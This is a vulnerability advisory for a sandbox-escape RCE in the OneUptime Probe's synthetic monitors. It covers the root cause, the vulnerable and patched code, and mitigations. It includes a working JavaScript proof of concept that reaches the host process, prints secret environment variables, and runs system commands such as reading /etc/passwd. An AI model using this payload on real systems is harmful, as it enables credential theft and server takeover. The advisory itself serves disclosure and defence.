CVE-2026-27574: Remote Code Execution in OneUptime Probe via VM Sandbox Escape

The OneUptime platform includes a 'Probe' component responsible for monitoring external services. A specific feature, 'Synthetic Monitors,' allows users to define custom monitoring logic using JavaScript or Playwright. This feature is intended to run untrusted code in a restricted environment to verify website performance and functionality.

However, prior to version 10.0.5, the implementation relied on the native Node.js vm module (node:vm) to execute this user-supplied code. The Node.js documentation explicitly states that the vm module is not a security mechanism. It contextifies code within the same V8 Isolate as the host application, meaning that objects inside the context share the same underlying C++ structures and, critically, can often access the host's prototype chain.

The vulnerability allows any authenticated user with permissions to create a monitor (default role: Project Member) to execute arbitrary code on the Probe server. Because the Probe often runs with host networking and possesses environment variables containing high-privilege credentials (such as DATABASE_PASSWORD and ONEUPTIME_SECRET), successful exploitation leads to complete infrastructure compromise.

The root cause is the misuse of the vm module for isolation, categorized under CWE-94 (Improper Control of Generation of Code). While vm.createContext and vm.runInContext create a separate global scope, they do not create a separate V8 heap or isolate.

In JavaScript, primitive types and objects created within a vm context still inherit from the base definitions. If an attacker can access an object that was not created strictly within the context (or relies on shared primitives), they can traverse the __proto__ or constructor chain to reference the Function constructor of the host environment.

The specific vector involves the following logic:

1. The attacker supplies code referencing this (the global object in the sandbox).
2. this.constructor references the context's Object constructor.
3. this.constructor.constructor references the host's Function constructor.
4. Invoking this constructor allows the attacker to create a function bound to the host's closure, bypassing the sandbox entirely.

Once the host's Function constructor is obtained, the attacker can return the host's process object (return process), granting access to process.env (secrets) and child_process (command execution).

The vulnerability existed in the Probe's script execution logic. The patch replaces the insecure node:vm with isolated-vm, which provides true isolation via separate V8 Isolates.

Vulnerable Implementation (Conceptual)

The insecure implementation used vm.runInContext. Note the lack of a true security boundary.

const vm = require('node:vm');
 
// Vulnerable: Using native vm module for untrusted code
async function runMonitor(userCode) {
    const sandbox = {
        console: console,
        // ... other bridged APIs
    };
    
    const context = vm.createContext(sandbox);
    
    // execution leads to RCE if userCode contains escape logic
    return vm.runInContext(userCode, context, { timeout: 5000 });
}

Patched Implementation

The fix, applied in commit 7f9ed4d43945574702a26b7c206e38cc344fe427, introduces isolated-vm. This library creates a completely new V8 instance with its own heap and garbage collector. Objects cannot be passed directly; they must be marshaled or referenced via ivm.Reference.

// Patched: Using isolated-vm for strict isolation
const ivm = require('isolated-vm');
 
async function runMonitor(userCode) {
    // Create a new Isolate (separate V8 heap)
    const isolate = new ivm.Isolate({ memoryLimit: 128 });
    const context = await isolate.createContext();
    const jail = context.global;
 
    // Explicitly set global to refer to itself
    await jail.set('global', jail.derefInto());
 
    // Compile and run script
    const script = await isolate.compileScript(userCode);
    await script.run(context);
    
    // Clean up
    script.release();
    context.release();
    isolate.dispose();
}

> [!NOTE] > The patch also ensures that environment variables passed to the worker process are strictly sanitized. Sensitive keys like ONEUPTIME_SECRET are explicitly excluded from the worker environment to minimize blast radius even if a bypass were theoretically found.

Exploitation is trivial and requires no specialized tools beyond a web browser. The attacker must possess a valid account on the OneUptime instance with permission to create monitors (typically available to all project members).

Attack Diagram

Proof of Concept

The following JavaScript payload, when saved as a Synthetic Monitor, demonstrates the RCE. It escapes the sandbox and logs the server's environment variables to the monitor's console output (or sends them to an external server).

// Step 1: Access the host process via the constructor chain
const hostProcess = this.constructor.constructor('return process')();
 
// Step 2: Access sensitive environment variables
const secrets = hostProcess.env;
 
// Step 3: Execute arbitrary system commands
const require = hostProcess.mainModule.require;
const child_process = require('child_process');
const output = child_process.execSync('id; cat /etc/passwd').toString();
 
// Output results (visible in Monitor Logs)
console.log('Secrets:', secrets.ONEUPTIME_SECRET);
console.log('System Output:', output);

Upon the next scheduled run of the monitor (usually within minutes), the code executes on the Probe server, and the output is captured in the dashboard logs.

The impact of CVE-2026-27574 is rated as Critical (CVSS 10.0) due to the combination of high privileges, ease of exploitation, and sensitivity of the data exposed.

Confidentiality: The OneUptime Probe is designed to interact with the core infrastructure. It stores the ONEUPTIME_SECRET (master encryption key or JWT secret), DATABASE_PASSWORD (PostgreSQL), REDIS_PASSWORD, and CLICKHOUSE_PASSWORD in its environment variables. An attacker obtaining these can decrypt sensitive data, modify database records directly, and potentially pivot to other services.

Integrity: With Remote Code Execution, an attacker can modify the Probe's behavior to report false monitoring data, inject malicious scripts into other monitoring checks, or alter the underlying operating system configuration.

Availability: The attacker can terminate the Probe process, delete critical files, or use the server resources for crypto-mining or Denial-of-Service (DoS) attacks against other targets, effectively taking the monitoring infrastructure offline.

Lateral Movement: Since the Probe is often deployed with host networking to monitor internal services, an attacker can use the compromised Probe as a jump box to attack internal services that are not exposed to the public internet.

The vulnerability is addressed in OneUptime version 10.0.5. The vendor has replaced the insecure node:vm implementation with isolated-vm and hardened the worker environment.

Immediate Actions

1. Upgrade: Update all OneUptime components, specifically the Probe and API, to version 10.0.5 or later.
2. Secret Rotation: Because environment variables could have been exfiltrated silently, all cluster secrets must be rotated immediately after patching. This includes database passwords, Redis credentials, and the ONEUPTIME_SECRET.
3. Audit: Review system logs for past execution of suspicious Synthetic Monitors. Look for patterns involving this.constructor, process.env, or child_process in historic monitor configurations.

Temporary Workarounds

If an immediate upgrade is not feasible, the following mitigations can reduce risk:

• Disable Feature: Disable the "Synthetic Monitor" functionality if the application configuration allows it.
• Network Segmentation: Ensure the Probe container/server is strictly firewalled. While this does not prevent the RCE, it limits the attacker's ability to reach other internal services or exfiltrate data outbound.
• Restrict Access: Revoke Project Member access for untrusted users and restrict monitor creation to administrators only.